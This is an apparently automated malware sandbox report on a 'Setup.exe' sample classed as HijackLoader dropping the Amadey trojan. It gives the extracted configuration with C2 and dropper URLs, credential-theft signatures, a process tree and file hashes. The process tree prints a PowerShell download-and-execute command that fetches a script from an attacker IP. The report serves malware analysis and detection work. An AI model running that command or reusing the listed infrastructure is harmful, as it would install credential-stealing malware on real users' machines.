Analysis

  • max time kernel
    298s
  • max time network
    302s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    25/10/2025, 15:00

General

  • Target
    Setup.exe
  • Size 6.3MB
  • Sample251025-sdlftsew4c
  • SHA256 bd9f45337c13bcbd25151f8a06c8894990c7800a905ca1e53480e4d4c7eb7936
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • hijackloader

Attributes
  • directory

    %ALLUSERSPROFILE%\frameworknotepad

  • inject_dll

    %windir%\SysWOW64\rasapi32.dll

xor.hex

Extracted

Family
  • amadey

Version
  • 5.64

Botnet
  • 74a65b

C2
  • http://mi.overlapsnowbound.com

Attributes
  • install_dir

    2d44bacc67

  • install_file

    Ahdvfzkeyo.exe

  • strings_key

    c03135dc90dd4923dc1d82a56dc86dab

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 11 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Program crash 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:5772
    • C:\Users\Admin\AppData\Local\WaEmulator64.exe
      C:\Users\Admin\AppData\Local\WaEmulator64.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5428
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1256
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1448
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:2592
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:1488
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            3⤵
              PID:2804
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              3⤵
                PID:3272
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:5468
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  3⤵
                    PID:2472
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                    3⤵
                    • Badlisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4940
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • Badlisted process makes network request
                    • System Location Discovery: System Language Discovery
                    PID:5256
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:1780
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 532
                      4⤵
                      • Program crash
                      PID:5056
                  • C:\Users\Admin\di.exe\Statio.exe
                    C:\Users\Admin\di.exe\Statio.exe
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:6012
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:4404
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:3620
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1780 -ip 1780
                    1⤵
                      PID:5688

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          1B1AA3A.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\1B1AA3A.tmp
                          • Size 2.6MB
                          • SHA256 9acf7748f5fa45fd894086d966131492d0a5c0d0a55095a89cc36fce73a5260c
                          • MD5 SHA1 SHA512 SSDEEP

                          658DB00.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\658DB00.tmp
                          • Size 40B
                          • SHA256 5aba9c1be6b624ce111f78ab4812bd3281364870ee15f1328879e7f40496b3cb
                          • MD5 SHA1 SHA512

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 d696292d20af2ef8d7ea106e549283d0a2cd1f6bcec51637b077954bff09cbd7
                          • MD5 SHA1 SHA512 SSDEEP

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 6fd02145a40bc8042392e6d5b982213d131724d8a7f2a85e341609adae0e9635
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 40KB
                          • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 56KB
                          • SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 130KB
                          • SHA256 cdca2867db50998c11f8c0f9dd2458bc634ba3c9486652c59e6c0d8da35fd5e3
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
                          • MD5 SHA1 SHA512 SSDEEP

                          __PSScriptPolicyTest_k0pxgd55.qgj.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k0pxgd55.qgj.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          WaEmulator64.exe

                          • Path C:\Users\Admin\AppData\Local\WaEmulator64.exe
                          • Size 1.6MB
                          • SHA256 c8a1ec1b919f9e760a1a434e4c8e3db33f8c541739c94860132902a509dd0f6a
                          • MD5 SHA1 SHA512 SSDEEP

                          Flundfreb.ftex

                          • Path C:\Users\Admin\di.exe\Flundfreb.ftex
                          • Size 3.3MB
                          • SHA256 f5bd5d76902cc66e613ef67a86e0fef496b88b1f4db6bdc407d7c5001d1a1312
                          • MD5 SHA1 SHA512 SSDEEP

                          Mait.hsx

                          • Path C:\Users\Admin\di.exe\Mait.hsx
                          • Size 30KB
                          • SHA256 2aba93e44ec058952351c337d44667d2ee57bd56718c635461dce962d325c625
                          • MD5 SHA1 SHA512 SSDEEP

                          OSPPC.DLL

                          • Path C:\Users\Admin\di.exe\OSPPC.DLL
                          • Size 145KB
                          • SHA256 34538a1ca44bdd0022bca5dd191787c368fcc4cc775e580c0a6ad0ff5a598354
                          • MD5 SHA1 SHA512 SSDEEP

                          Statio.exe

                          • Path C:\Users\Admin\di.exe\Statio.exe
                          • Size 49KB
                          • SHA256 abd5308ec6b01b8ada0f2b83a2e1585502cac9e00170edb22332a7c1d96d58d3
                          • MD5 SHA1 SHA512 SSDEEP

                          VCRUNTIME140.dll

                          • Path C:\Users\Admin\di.exe\VCRUNTIME140.dll
                          • Size 95KB
                          • SHA256 475ab98b7722e965bd38c8fa6ed23502309582ccf294ff1061cb290c7988f0d1
                          • MD5 SHA1 SHA512 SSDEEP

                          jli.dll

                          • Path C:\Users\Admin\di.exe\jli.dll
                          • Size 83KB
                          • SHA256 00531c7c28c5a550be05659cfe7943a044798a942273ae4469148e826cdfddd6
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/1256-30-0x000001ED46080000-0x000001ED46082000-memory.dmp

                          memory/1448-31-0x000001A1D46C0000-0x000001A1D46C2000-memory.dmp

                          memory/1488-35-0x0000025BC4900000-0x0000025BC4902000-memory.dmp

                          memory/1780-78-0x0000000003DB0000-0x00000000043C0000-memory.dmp

                          memory/1780-71-0x0000000001810000-0x0000000001813000-memory.dmp

                          memory/1780-74-0x0000000003DB0000-0x00000000043C0000-memory.dmp

                          memory/1780-80-0x0000000003DB0000-0x00000000043C0000-memory.dmp

                          memory/1780-79-0x0000000003DB0000-0x00000000043C0000-memory.dmp

                          memory/2472-48-0x00000278C4270000-0x00000278C4272000-memory.dmp

                          memory/2592-32-0x0000012893980000-0x0000012893982000-memory.dmp

                          memory/2804-38-0x000001874B210000-0x000001874B212000-memory.dmp

                          memory/3272-42-0x0000015C87B10000-0x0000015C87B12000-memory.dmp

                          memory/4940-53-0x00000000057E0000-0x0000000005E0A000-memory.dmp

                          memory/4940-70-0x00000000065E0000-0x000000000662C000-memory.dmp

                          memory/4940-101-0x0000000007C30000-0x0000000007CC6000-memory.dmp

                          memory/4940-54-0x00000000056E0000-0x0000000005702000-memory.dmp

                          memory/4940-102-0x0000000007BA0000-0x0000000007BC2000-memory.dmp

                          memory/4940-103-0x000000000DA20000-0x000000000DFC6000-memory.dmp

                          memory/4940-60-0x0000000005E10000-0x0000000005E76000-memory.dmp

                          memory/4940-61-0x0000000005F80000-0x0000000005FE6000-memory.dmp

                          memory/4940-52-0x0000000005100000-0x0000000005136000-memory.dmp

                          memory/4940-68-0x00000000060A0000-0x00000000063F7000-memory.dmp

                          memory/4940-69-0x0000000006580000-0x000000000659E000-memory.dmp

                          memory/4940-97-0x00000000746A0000-0x0000000074E51000-memory.dmp

                          memory/4940-73-0x0000000006A90000-0x0000000006AAA000-memory.dmp

                          memory/4940-72-0x0000000007DF0000-0x000000000846A000-memory.dmp

                          memory/5256-107-0x0000000000400000-0x000000000046F000-memory.dmp

                          memory/5256-55-0x00000000015A0000-0x00000000015A3000-memory.dmp

                          memory/5256-56-0x0000000002EF0000-0x0000000002F42000-memory.dmp

                          memory/5428-51-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/5428-26-0x00007FFB563C0000-0x00007FFB565C9000-memory.dmp

                          memory/5428-28-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/5428-21-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/5428-40-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/5428-96-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/5468-45-0x0000024741E70000-0x0000024741E72000-memory.dmp

                          memory/5772-27-0x0000000073EC0000-0x0000000073FB0000-memory.dmp

                          memory/5772-3-0x00007FFB563C0000-0x00007FFB565C9000-memory.dmp

                          memory/5772-2-0x0000000073EC0000-0x0000000073FB0000-memory.dmp

                          memory/5772-16-0x0000000073ED6000-0x0000000073ED8000-memory.dmp

                          memory/5772-17-0x0000000073EC0000-0x0000000073FB0000-memory.dmp

                          memory/5772-19-0x0000000073EC0000-0x0000000073FB0000-memory.dmp

                          memory/5772-0-0x0000000003840000-0x000000000393E000-memory.dmp

                          memory/6012-100-0x00007FFB46BB0000-0x00007FFB46CBA000-memory.dmp